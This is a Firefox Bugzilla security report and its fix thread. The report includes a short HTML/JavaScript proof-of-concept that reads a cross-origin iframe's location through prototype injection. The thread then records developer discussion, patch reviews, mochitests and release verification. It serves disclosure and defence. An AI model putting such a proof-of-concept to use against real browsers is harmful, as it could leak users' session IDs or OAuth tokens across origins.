Closed Bug 802557 Opened 12 years ago Closed 12 years ago

More cross origin location access problems

Categories

(Core :: XPConnect, defect)

Product:
Core
Component:
XPConnect
Version:
16 Branch
Type:
defect
Priority:
Not set
Severity:
normal

Tracking

()

Status:
VERIFIED FIXED
Milestone:
mozilla19
Tracking Flags:
Tracking Status
firefox16 + verified
firefox17 + verified
firefox18 + verified
firefox19 + verified
firefox-esr10 16+ verified

People

(Reporter: antoine, Assigned: bholley)

Details

(Keywords: csectype-disclosure, sec-high)

Attachments

(4 files, 6 obsolete files)

Mochitests. v5 r=bz
6.49 KB, patch
bholley
: review+
abillings
: sec-approval+
Details | Diff | Splinter Review
original testcase for convenience
482 bytes, text/html
Details
Compare principals directly in nsLocation.cpp. v3
11.46 KB, patch
bzbarsky
: review+
akeybl
: approval-mozilla-aurora+
akeybl
: approval-mozilla-beta+
akeybl
: approval-mozilla-release+
akeybl
: approval-mozilla-esr10+
Details | Diff | Splinter Review
Beta bustage fix. v1
834 bytes, patch
bzbarsky
: review+
Details | Diff | Splinter Review 
User Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.4 (KHTML, like Gecko) Chrome/22.0.1229.94 Safari/537.4

Steps to reproduce:

Firefox 16.0.0 suffered from a nasty bug allowing cross-origin access to window.location, which can be easily exploited to steal session ids or OAuth tokens on many websites, including high profile ones.

Even though 16.0.1 fiexed the immediate bug, this called into question the effectiveness of the wrappers intended to protect the location object. Our research team PROSECCO at INRIA Paris is currently building formal analysis tools for JavaScript and while investigating the wrapped native prototype and global scope polluter implementation, we found that they suffered from a bottom-up property injection by prototype that can be exploited to recover cross-origin locations.

The following minimal exploit should be self-explanatory:

<html>
<head>
<script type="text/javascript">
window.onload = function()
{
 f = document.getElementById('f');
 loc = f.contentWindow.location;
 loc2 = {toString: loc.toString};
 loc2.__proto__ = f.contentWindow.location;
 f.src = "http://www.mozilla.com";
}
</script>
</head>
<body>
<iframe id="f" src="about:blank"></iframe>
<input type="button" onclick="alert(loc2.toString());" value="Get URL" />
</body>
</html>



Actual results:

Clicking the Get URL button reveals the current and complete location of the frame


Expected results:

As soon as the frame's location was changed to mozilla.com access to the location should have been impossible
Component: Untriaged → XPConnect
Product: Firefox → Core
Investigating.
Assignee: nobody → bobbyholley+bmo
Just before midnight on saturday May 12th, I was sitting in a bar in Toulouse and I started worrying that something like this might be possible. I pinged mrbkap on monday (May 14th), and here's the conversation we had:

[12:54pm] bholley: let me know when you've got some time to talk about security stuff
[3:11pm] mrbkap: Hey, I'm here now.
[4:54pm] bholley: still there?
[5:03pm] mrbkap: Hey, yeah.
[5:03pm] bholley: got some time to talk about security stuff?
[5:04pm] mrbkap: Yeah.
[5:04pm] bholley: so, I've been getting concerned about our security wrapper story
[5:05pm] mrbkap: ok
[5:05pm] bholley: specifically with respect to call/apply
[5:05pm] bholley: as in, we filter out access to various properties on certain objects, but then we can just call/apply them from somewhere else
[5:05pm] mrbkap: ok
[5:06pm] bholley: I've been digging through this, and I _think_ we're covered by various things in most places
[5:07pm] bholley: but it's pretty tenuous
[5:07pm] mrbkap: The only place where I'm not entirely sure is COWs, I think.
[5:07pm] bholley: for things that use XPCCallContext, methods and attributes are essentially pre-bound, because of the logic in XPCWrappedNative::GetWrappedNativeForJSObject
[5:07pm] mrbkap: For what objects and what functions?
[5:09pm] bholley: well, so suppose I apply document.getElementById to crossOriginIframe.contentDocument
[5:09pm] mrbkap: That tries to unwrap this, which will throw when it encounters a cross origin anything.
[5:09pm] bholley: mrbkap: because of SCRIPT_ACCESS_ONLY, right?
[5:09pm] mrbkap: This is the reason that Xray wrapper functions are effectively bound functions right now.
[5:10pm] mrbkap: Right.
[5:10pm] mrbkap: They skip that particular security check.
[5:11pm] bholley: mrbkap: ok. Xrays are the only way to do anything cross-origin
[5:11pm] bholley: however, there are a few other cases
[5:12pm] bholley: well, hm
[5:12pm] bholley: so, there's Location
[5:12pm] bholley: but I guess that's always an Xray
[5:12pm] mrbkap: Right.
[5:12pm] bholley: but here's a related problem with Location:
[5:13pm] mrbkap: So, I admit that I based a lot of the security guarantees on the limited nature of what content can do cross-origin.
[5:13pm] bholley: what's to stop you from pulling a method off of the Location object when it's same-origin, and then apply()ing it once it's cross-origin?
[5:14pm] mrbkap: hmm
[5:14pm] bholley: it seems like the capability model doesn't work there
[5:15pm] bholley: we should probably make Location SCRIPT_ACCESS_ONLY
[5:15pm] mrbkap: It should be already no? Since it's an Xray?
[5:15pm] mrbkap: Location always had to be special because it does the dynamic check.
[5:16pm] bholley: mrbkap: see LW in FilteringWrapper.cpp
[5:17pm] mrbkap: Right.
[5:17pm] mrbkap: But see AccessCheck::isScriptAccessOnly.
[5:18pm] bholley: oh, I see
[5:19pm] bholley: so, ScriptAccessOnly basically means that the object can only be used in C++ if it's used as the |this| parameter when invoking a method on it with the appropriate Xray wrapper?
[5:20pm] mrbkap: Technically it could be an argument as well, but in reality that's right.
[5:20pm] bholley: hm, how could it be an argument? Where would the relevant unwrapping be done?
[5:20pm] mrbkap: And because of the Xray wrapper creating bound methods bug, you have to call *that* function specifically.
[5:20pm] bholley: (which bug is this?)
[5:20pm] mrbkap: That's why I said "technically", right now, that can't happen.
(Since it's probably not obvious to those skimming, this was the key question):

>[5:13pm] bholley: what's to stop you from pulling a method off of the Location object when it's same-origin,
> and then apply()ing it once it's cross-origin?

The 'bound method' situation prevents these functions from being apply-ed to _other_ Location objects, but the security characteristics of Location mean that we shouldn't be able to apply() it to the original Location object either. And we can. I'll attach a mochitest that demonstrates the issue without the __proto__ gunk.
Attached patch Mochitests. v1 (obsolete) — — Splinter Review 
Here are some mochitests that demonstrate the issue with call/apply. They fail
fail for both LW and XLW.
> The 'bound method' situation

Which wouldn't apply in the Location.prototype.toString.call() case, right?
Status: UNCONFIRMED → NEW
Ever confirmed: true
Keywords: csec-disclosure, sec-high
(In reply to Boris Zbarsky (:bz) from comment #6)
> > The 'bound method' situation
> 
> Which wouldn't apply in the Location.prototype.toString.call() case, right?

apply()ing Location.prototype.toString() won't work, because it will choke on the security wrapper (via isScriptAccessOnly). Only methods pulled off this kind of security wrapper can be used on XOWed objects (and Location objects).
> apply()ing Location.prototype.toString() won't work,

Ah, I see.  OK.  That will need to get specced too, assuming those methods are on the prototype at all when the spec all shakes out.
So, in the long term, we really need to fix up this whole story. In particular, relying on bound methods and the magic of GetWrappedNativeOfJSObject is pretty lame. I think we need to do a security check at call time somehow. I've been wanting to fix this for a while, but haven't found the cycles to work on it. :-(

In the mean time, I think we need to do a dynamic security check in the actual nsLocation implementation itself. It's a little gross, but should fix this issue, and be good defense-in-depth to boot.

I'll start writing a patch now.
(In reply to Boris Zbarsky (:bz) from comment #8)
> > apply()ing Location.prototype.toString() won't work,
> 
> Ah, I see.  OK.  That will need to get specced too, assuming those methods
> are on the prototype at all when the spec all shakes out.

IMO we should actually change this to allow some degree of call/apply with this stuff, because it also affects what can happen with cross-origin objects. Currently, you can't do any sort of call/apply with XOWs, which seems kind of wrong. Maybe we should sit down at some point and figure out exactly how this should look spec-wise?
Yes, yes, we should.
One may wonder whether the real problem here is the ability to call a method from an object created in your own scope after it changed origin or the fact itself that the security principal of your own object changed. Thus, while a dynamic check in nsLocation is a possible solution, why not consider making each Location specific to their window object? There is no specification of the Location object that mandates making it persistent across pages, let alone origins.
OS: Windows 7 → All
Hardware: x86_64 → All
Attached patch Mochitests. v2 (obsolete) — — Splinter Review 
I had to change these tests slightly to handle the fact that I'm now
throwing NS_ERROR_DOM_SECURITY_ERR, which prints 'the operation is insecure',
which doesn't contain the word 'denied'.
Attachment #672320 - Attachment is obsolete: true
This should fix the bug.
Attachment #672437 - Flags: review?(mrbkap)
Attachment #672437 - Flags: review?(bzbarsky)
(In reply to Antoine Delignat-Lavaud from comment #12)
> One may wonder whether the real problem here is the ability to call a method
> from an object created in your own scope after it changed origin or the fact
> itself that the security principal of your own object changed. Thus, while a
> dynamic check in nsLocation is a possible solution, why not consider making
> each Location specific to their window object? There is no specification of
> the Location object that mandates making it persistent across pages, let
> alone origins.

This is possible, but isn't trivial. It would involve "brain transplanting" [1] the Location object along with the window whenever navigation occurs. It would be awesome though, because Location objects are currently the only DOM objects whose security can't be enforced at scope/compartment boundaries. It's actually something I've been wanting to experiment with for a while now.

Regardless though, the fix we do here needs to be safe enough to backport to mozilla-beta, so we'll do the dumb thing for now. If you're interested, I'd be happy to talk in more detail about the other approach.

[1] - See the last part of http://andreasgal.com/2010/10/13/compartments/
(also, we'd lose all content-defined properties ("expandos") on page navigation, which might break the web. Do other engines preserve these?)
Comment on attachment 672437 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v1

Why are we checking in the setters?  I don't think we should be doing that.

The check in reload() is almost certainly not web-compatible.  Same for assign().

On the other hand, we _do_ want to check in toString, right?
Attachment #672437 - Flags: review?(bzbarsky) → review-
(In reply to Boris Zbarsky (:bz) from comment #17)
> Comment on attachment 672437 [details] [diff] [review]
> Compare principals directly in nsLocation.cpp. v1
> 
> Why are we checking in the setters?  I don't think we should be doing that.
> 
> The check in reload() is almost certainly not web-compatible.  Same for
> assign().

They implement the same semantics as AccessCheck::IsPermitted. Is there some other way we cam reach these setters and methods? 
> 
> On the other hand, we _do_ want to check in toString, right?

ToString just calls GetHref, which already has a check.
> They implement the same semantics as AccessCheck::IsPermitted

So right this second, do we prevent reload() and assign() on cross-origin location objects?  As well as all setters other than "href"?

> ToString just calls GetHref, which already has a check.

OK, then it should document that in the C++ for ToString().
Oh, and if we don't already have tests for Location.prototype.foo.call, we should.
Attached patch Mochitests. v3 (obsolete) — — Splinter Review 
Alright, I spent a few hours significantly beefing up these tests. Flagging bz for review.
Attachment #672435 - Attachment is obsolete: true
Attachment #672752 - Flags: review?(bzbarsky)
(In reply to Boris Zbarsky (:bz) from comment #19)
> > They implement the same semantics as AccessCheck::IsPermitted
> 
> So right this second, do we prevent reload() and assign() on cross-origin
> location objects?  As well as all setters other than "href"?

Yes.

> > ToString just calls GetHref, which already has a check.
> 
> OK, then it should document that in the C++ for ToString().

ok.
Adding the requested comment and reflagging bz.
Attachment #672437 - Attachment is obsolete: true
Attachment #672437 - Flags: review?(mrbkap)
Attachment #672753 - Flags: review?(bzbarsky)
Comment on attachment 672752 [details] [diff] [review]
Mochitests. v3

s/pull off/pulled off/

Should the test functions in file_bug802557.html include gTS.call() and gTS.apply() directly?

Is there a reason gGHR is gotten with lookupGetter and not getOwnPropertyDescriptor?  Or perhaps we should test both?

Add some tests using Object.prototype.valueOf?

We should still have a basic test for just reading a location object cross-origin directly, without any games.  Or do we have one already?
Attachment #672752 - Flags: review?(bzbarsky) → review+
> Yes.(In reply to Bobby Holley (:bholley) from comment #22)
> > So right this second, do we prevent reload() and assign() on cross-origin
> > location objects?  As well as all setters other than "href"?
> 
> Yes.

That's... amazing.  I would have expected that to break the web.  OK, then.
Comment on attachment 672753 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v2

r=me

We should definitely look into tying location objects to a particular inner window, imo...
Attachment #672753 - Flags: review?(bzbarsky) → review+
(In reply to Boris Zbarsky (:bz) from comment #26)
> We should definitely look into tying location objects to a particular inner
> window, imo...

I also advocate this as the proper solution to this bug. As bholly pointed out, it may not be possible to include this change in a security update, but that's a good design change to consider for future versions.
Attached patch Mochitests. v4 r=bz (obsolete) — — Splinter Review 
Updating tests. Carrying over review.
Attachment #672752 - Attachment is obsolete: true
Attachment #672789 - Flags: review+
Er, this.
Attachment #672789 - Attachment is obsolete: true
Attachment #672791 - Flags: review+
Ick, sorry about missing this :(
adding original testcase for convenience. I changed the framed URL because www.mozilla.com uses x-frame-options.
As you could guess from comment 2 this is not a recent regression. Tested and both Firefox 15 and ESR 10.0.9 are vulnerable.
status-firefox-esr10: --- → affected
status-firefox16: --- → affected
status-firefox17: --- → affected
status-firefox18: --- → affected
status-firefox19: --- → affected
tracking-firefox-esr10: --- → ?
tracking-firefox16: --- → +
tracking-firefox17: --- → +
tracking-firefox18: --- → +
tracking-firefox19: --- → +
(In reply to Boris Zbarsky (:bz) from comment #24)
> Is there a reason gGHR is gotten with lookupGetter and not
> getOwnPropertyDescriptor?  Or perhaps we should test both?

Because it's not an |own| property, and es5 doesn't provide an Object.getPropertyDescriptor.


> Add some tests using Object.prototype.valueOf?

I tried, but apparently Object.prototype.valueOf(someObject) === someObject. So it doesn't throw.

> We should still have a basic test for just reading a location object
> cross-origin directly, without any games.  Or do we have one already?

The QA guy wrote some, right? Did they ever get checked in?

Pushed the patch here to try: https://tbpl.mozilla.org/?tree=Try&rev=71673410b43a
> I tried, but apparently Object.prototype.valueOf(someObject) === someObject.

Hmm.  OK.

> Did they ever get checked in?

Not afaict!
(the latest version of the basic tests from bug 799952 is attachment 670221 [details])
Updated patch that better handles situations where the docshell has been torn down. Flagging bz for re-review.
Attachment #672753 - Attachment is obsolete: true
Attachment #672948 - Flags: review?(bzbarsky)
Comment on attachment 672948 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v3

r=me
Attachment #672948 - Flags: review?(bzbarsky) → review+
https://hg.mozilla.org/mozilla-central/rev/3739ede6cb9d
Status: NEW → RESOLVED
Closed: 12 years ago
status-firefox19: affected → fixed
Resolution: --- → FIXED
Target Milestone: --- → mozilla19
Branch uplift nominations would be great here.
Akeybl gave me blanket approval to land this bug on all branches on monday.
Confirmed broken on build 2012-10-17, Firefox 19.0a1.
Verified fixed on build 2012-10-22, Firefox 19.0a1. 
Mac 10.8.2, Windows 7 and Ubuntu 11.10
Comment on attachment 672948 [details] [diff] [review]
Compare principals directly in nsLocation.cpp. v3

This still needs to land on the FIREFOX_10_0_9esr_RELEASE branch of mozilla-esr10 as well as mozilla-release.
Attachment #672948 - Flags: approval-mozilla-release?
Attachment #672948 - Flags: approval-mozilla-beta+
Attachment #672948 - Flags: approval-mozilla-aurora+
Beta went orange because a couple of tests using UniversalXPConnect went orange.
It's not clear to me why this didn't fail on m-c and m-a, but I don't think it
matters. This fix does the trick.
Attachment #674241 - Flags: review?(bzbarsky)
Comment on attachment 674241 [details] [diff] [review]
Beta bustage fix. v1

r=me
Attachment #674241 - Flags: review?(bzbarsky) → review+
Followup bustage fix for mozilla-beta:

https://hg.mozilla.org/releases/mozilla-beta/rev/f8a6138bcfba

Still working on esr10 bustage.
Matt, can you please verify if this is fixed for...

latest-mozilla-aurora:
ftp://ftp.mozilla.org/pub/firefox/nightly/latest-mozilla-aurora

17.0b3 (should be available by tomorrow morning):
ftp://ftp.mozilla.org/pub/firefox/nightly/17.0b3-candidates

Same test as you did in comment 38, thanks.
Status: RESOLVED → VERIFIED
status-firefox19: fixed → verified
QA Contact: mwobensmith
Verified fixed on build 2012-10-24, 17.0b3
Verified fixed on build 2012-10-24, Aurora 18.0a2
Mac 10.8.2, Windows 7 and Ubuntu 11.10
Verified fixed on build 2012-10-24, 10.0.10esr
Verified fixed on build 2012-10-24, 16.0.2
Mac 10.8.2, Windows 7 and Ubuntu 11.10
status-firefox-esr10: fixed → verified
status-firefox16: fixed → verified
status-firefox17: fixed → verified
status-firefox18: fixed → verified
Attachment #672948 - Flags: approval-mozilla-release?
Attachment #672948 - Flags: approval-mozilla-release+
Attachment #672948 - Flags: approval-mozilla-esr10+
Comment on attachment 672791 [details] [diff] [review]
Mochitests. v5 r=bz

Now that I believe we've got this fixed everywhere, requesting sec-approval to check in this mochitest.
Attachment #672791 - Flags: sec-approval?
Comment on attachment 672791 [details] [diff] [review]
Mochitests. v5 r=bz

sec-approval+. Go for it.
Attachment #672791 - Flags: sec-approval? → sec-approval+
Flags: in-testsuite? → in-testsuite+
(In reply to Al Billings [:abillings] from comment #57)
> Comment on attachment 672791 [details] [diff] [review]
> Mochitests. v5 r=bz
> 
> sec-approval+. Go for it.

https://hg.mozilla.org/mozilla-central/rev/6f686b428e0e
Group: core-security
Flags: sec-bounty+
You need to log in before you can comment on or make changes to this bug.

Attachment

General

Creator:
Created:
Updated:
Size: